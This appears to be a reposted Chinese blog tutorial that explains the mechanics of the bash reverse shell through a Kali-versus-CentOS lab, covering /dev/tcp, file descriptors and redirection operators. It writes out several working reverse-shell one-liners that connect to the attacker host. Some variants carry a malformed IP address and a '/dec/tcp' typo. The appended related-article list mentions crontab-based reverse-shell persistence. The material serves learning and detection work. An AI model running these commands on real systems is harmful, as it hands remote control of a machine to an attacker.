[转帖]Linux之bash反弹shell原理浅析
环境
攻击机:kali ip:192.168.25.144
靶 机:centos ip:192.168.25.142
过程
kali 监听本地8888端口

靶机 centos 写入 反弹shell 的命令
bash -i >& /dev/tcp/192.168.25.144/8888 0>&1

攻击机 kali 成功反弹shell

原理
反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作,原因有很多,例如目标是局域网,或者开启防火墙的某些策略等情况,而这时,我们就可以让受害者主动向攻击者发起连接,被控端发起请求到控制端某端口,并将其命令行的输入输出转到控制端,从而实现交互
我们将命令拆开
bash -i
/dev/tcp/192.168.25.144/8888
>& 0>&1
bash
Linux中一般默认的shell是bash,它功能几乎可以涵盖shell所具有的功能,所以一般的shell脚本都会指定它为执行路径
常用的shell有 ash、bash、dash、ksh、csh、zsh 等,不同的shell都有自己的特点以及用途
查询当前shell命令 ls -l /bin/sh

bash -i 打开一个交互式的bash shell 如果有 -i 参数,就是交互式的
交互的意思就是可以和用户进行交互,输入命令,回显给用户就是一个交互的过程,而执行一个shell脚本就是非交互的
使用命令 echo $- 可以查看是否是交互式shell
有参数 i ,是交互式的
执行一个shell脚本
无参数 i ,非交互式
/dev目录
dev是设备(device)的英文缩写。这里主要存放与设备(包括外设)有关的文件,Linux一切皆文件
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/
/dev/tcp/192.168.25.144/8888
所以上述命令就是和192.168.25.144:8888建立TCP连接
文件描述符
Linux 系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件。
所有执行I/O操作的系统调用都会通过文件描述符,即文件描述符可控制输入输出(输入/输出重定向)
标准输入(stdin): 代码为 0 使用 < 或 << 默认设备键盘
标准输出(stdout): 代码为 1 使用 > 或 >> 默认设备显示器
标准错误输出(stderr): 代码为 2 使用 2> 或 2>> 默认设备显示器
-
--- +--------+
-
( 0 ) ---->|dev/tty0| 当开启一个终端时 默认的文件描述符 指向 /dev/tty0(虚拟终端)
-
--- +--------+
-
-
--- +--------+
-
( 1 ) ---->|dev/tty0|
-
--- +--------+
-
-
--- +--------+
-
( 2 ) ---->|dev/tty0|
-
--- +--------+
大多数Linux 系统命令从你的终端接受输入并将所产生的输出发送回到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端

Shell 输入/输出重定向
我们让上图 输出重定向
使用 1> 将输出结果写入到 指定文件中 文件不存在则创建文件,文件如果存在会覆盖原文件内容
省略不写则默认就是 1 同理,输入重定向 0< 省略不写则默认就是 0


使用 >> 会追内容在文件末尾

结合上面建立的TCP连接


kali攻击机收到

结合bash -i


在kali得到命令执行结果的回显

此时我们输入name,可以看到,标准输出错误并未被重定向

-
--- +--------+
-
( 0 ) ---->|dev/tty0|
-
--- +--------+
-
-
--- +--------+ +------------------+
-
( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port|
-
--- +--------+ +------------------+
-
-
--- +--------+
-
( 2 ) ---->|dev/tty0|
-
--- +--------+
输入重定向


在kali攻击机,输入

靶机得到输入指令,标准输出(默认终端)

-
--- +--------+
-
( 0 ) ---->|dev/tty0|\
-
--- +--------+ \
-
\
-
--- +--------+ ----> +------------------+
-
( 1 ) ---->|dev/tty0| |/dev/tcp/host/port|
-
--- +--------+ +------------------+
-
-
--- +--------+
-
( 2 ) ---->|dev/tty0|
-
--- +--------+
!!!!!!!!!!!!!!!
此时,我们只需要将
bash i > /dec/tcp/192.168.25.144/8888 和 bash i < /dec/tcp/192.168.25.144/8888 结合
实现在攻击机 kali 输入 命令,在kali 机 得到命令回显,实现了反弹shell
即 使用下面的命令
bash -i > /dev/tcp/192.168.25.144/8888 0>&1
效果 kali ip:192.168.25.140


此时靶机会输出在攻击机所输入的命令,还有一个问题,标准错误输出 并没有重定向


补充:
bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向,存在多个则从左往右依次执行
标准输出与标准错误输出重定向
此时反弹shell语句里边用到了 >& 操作符,>& 操作符在不同情况下有不通的含义
在 >&word 语法中,当word是数字或 - 字符时,操作符 >& 表示复制 文件描述符
而文件描述符的复制格式有 num1<&num2 和 num1>&num2
这里两个都是将文件描述符 num1 复制到 num2 ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开
因此 num1<&num2 和 num1>&num2 是等价的(读/写方式打开对其没有任何影响)
所以上述命令可以修改为 bash -i > /dev/tcp/192.168.25.144/8888 0<&1
所以 0>&1 或者 0<&1
是对文件描述符的拷贝,是将0[标准输入]重定向到了1[标准输出]指向的位置
此时1[标准输出]指向的是socket连接文件(第一个 > ),
重定向完成后,0[标准输入]也指向了socket连接文件,所以我推测因为拷贝,所以原标准输出回显到靶机上(kali上敲的命 令)
-
--- +--------+
-
( 0 ) ---->|dev/tty0|\
-
--- +--------+ \
-
\
-
--- +--------+ ----> +------------------+
-
( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port|
-
--- +--------+ +------------------+
-
-
--- +--------+
-
( 2 ) ---->|dev/tty0|
-
--- +--------+
此时标准错误输出 依然未曾改变
在 >&word 语法中,当word不是数字或 - 字符时 >& 表示将 标准错误输出合并到标准输出中
此时与操作符 &> 功能一样 >&word 等价于 &> word 都相当于 > word 2>&1
当执行 bash -i > /dev/tcp/192.168.25.140/9999 0>&1 命令时,效果如下 标准输出错误并未被重定向

所以我们执行命令 bash -i > /dev/tcp/192.168.25.140/9999 0>&1 2>&1 或
bash -i >& /dev/tcp/192.168.25.140/9999 0>&1 均形成了一个闭合的回路 ,同样,命令回显到攻击机上

实现以下效果形成闭合,即可反弹shell ,而其他一些反弹命令,只要可以形成如下效果即可
-
--- +--------+
-
( 0 ) ---->|dev/tty0|\
-
--- +--------+ \
-
\
-
--- +--------+ ----> +------------------+
-
( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port|
-
--- +--------+ ----> +------------------+
-
/
-
--- +--------+ /
-
( 2 ) ---->|dev/tty0| /
-
--- +--------+
bash -i >& /dev/tcp/192.168.146.25.144/8888 <&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 <&2
bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&2
bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&2
bash -i > /dev/tcp/192.168.25.144/8888 0>&1 2>&1
等
本文借鉴了很多大佬的博客,如有更正的地方。还望指出
参考链接:
https://www.gnu.org/software/bash/manual/html_node/Redirections.html
http://wiki.bash-hackers.org/howto/redirection_tutorial
https://www.00theway.org/2017/07/11/bash%20%E5%8F%8D%E5%BC%B9shell/
[转帖]Linux之bash反弹shell原理浅析的更多相关文章
- Linux bash反弹shell原理引起的一点思考
最近,一起做安全测试的兄弟问我:Linux反弹shell的命令是什么,我毫不犹豫地在笔记中找到发给了他,可是脑海中突然闪过有个疑问,为啥这样能反弹shell呢,用了那么多次却从来没有想过这个问 ...
- Linux渗透之反弹Shell
前言 当我们在渗透Linux主机时,反弹一个交互的shell是非常有必要的.在搜索引擎上搜索关键字“Linux 反弹shell”,会出现一大堆相关文章,但是其内容不但雷同,而且都仅仅是告诉我们执行这个 ...
- 反弹Shell原理及检测技术研究
1. 反弹Shell的概念本质 所谓的反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端. 本文会先分别讨论: ...
- 用bash反弹shell
用bash反弹shell 受害主机:linux系统 攻击机:需要安装netcat(nc) 受害主机执行:ifconfig ## 查看受害主机ip 攻击机执行:nc -lvp 19999 ## 在攻击 ...
- bash反弹shell检测
1.进程 file descriptor 异常检测 检测 file descriptor 是否指向一个socket 以重定向+/dev/tcp Bash反弹Shell攻击方式为例,这类反弹shell的 ...
- 13. linux渗透之反弹shell
实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...
- bash反弹shell
part1:不求甚解的本地复现 攻击端Debian 10.x: 192.168.208.134 受害端Ubuntu : 192.168.208.135 攻击端打开(监听)某端口: 键入命令:[nc ...
- 【技术分享】linux各种一句话反弹shell总结——攻击者指定服务端,受害者主机(无公网IP)主动连接攻击者的服务端程序(CC server),开启一个shell交互,就叫反弹shell。
反弹shell背景: 想要搞清楚这个问题,首先要搞清楚什么是反弹,为什么要反弹.假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规 ...
- [转帖]linux 清空history以及记录原理
linux 清空history以及记录原理 自己的linux 里面总是一堆 乱七八槽输错的命令 用这个办法 可以清空 linux的内容. 清爽一些. 1.当前session执行的命令,放置缓存中,执行 ...
- 【奇技淫巧】linux 定时任务 crontab 反弹 shell
日期:2018-11-26 13:47:34 介绍:如何使用定时任务来反弹 shell? 0x01. 基本命令 参数 -e:编辑该用户的计时器设置: -l:列出该用户的计时器设置: -r:删除该用户的 ...
随机推荐
- Istio 为服务指定协议
1.背景 Istio 默认支持代理所有 TCP 流量.包括 HTTP.HTTPS.gRPC 以及原始 TCP 协议.但为了提供额外的能力,比如路由和丰富的指标,必须确定协议.协议可以被自动检测或者手动 ...
- 限制左键拖拽图片阴影vue
<template> <div> <img ref="image" :src="imageUrl" :style="im ...
- 如何使用mock应对测试所需随机数据
摘要:在做接口测试的时候,有的接口需要进行大量的数据进行测试,还不能是重复的数据,这个时候就需要随机生产数据进行测试了.这里教导大家使用mock.js生成各种随机数据. 一.什么是mock.js mo ...
- 【万字干货】OpenMetric与时序数据库存储模型分析
摘要:解读OpenMetric规范和指标的模型定义基础上,结合当下主流的时序数据库核心存储及处理技术,尝试让用户(架构师.开发者或使用者)结合自身业务场景选择合适的产品,消除技术选型的困惑. 本文分享 ...
- 破解数据匮乏现状:纵向联邦学习场景下的逻辑回归(LR)
摘要:主要介绍了华为云可信智能计算服务(TICS)采用的纵向联邦逻辑回归(LR)方案. 本文分享自华为云社区<纵向联邦学习场景下的逻辑回归(LR)>,作者: 汽水要加冰. 海量训练数据是人 ...
- 限时促销,火山引擎 ByteHouse 为企业带来一波数智升级福利!
更多技术交流.求职机会,欢迎关注字节跳动数据平台微信公众号,回复[1]进入官方交流群 面对庞杂的海量数据,稳定高速的实时数据处理能力,成为了当下企业数智升级过程中备受关注的点. ByteHouse 是 ...
- SpringBoot 记录 access.log 日志
如何将不同业务模块产生的日志 分多文件记录 Tomcat 中有个日志 loca_access.log 可以记录每个接口的请求耗时,用于做性能等分析比较有用,SpringBoot里,默认不记录这个日志, ...
- 使用formdata在vue和django之间传递文件
在前端页面中如果有文件或者图片需要上传的场景下,通用做法是使用formdata将文件从前端传输到后台,在后台上传文件并将url保存在数据库. 当前项目是使用vue + Element UI + dja ...
- DevEco中被忽略的实用功能
近期,我一直在业余时间研究纯血鸿蒙(HarmonyOS)App的开发,所使用的IDE是华为官方的DevEco Studio 3.1.1. 随着使用时间的增长,我发现了几个特别容易被忽略,但又特别实用的 ...
- xv6book阅读 chapter1
xv6book主要研究了xv6如何实现它的类Unix接口,但是其思想和概念不仅仅适用于Unix.任何操作系统都必须将进程多路复用到底层硬件上,相互隔离进程,并提供受控制的进程间通信机制. 1 了解xv ...
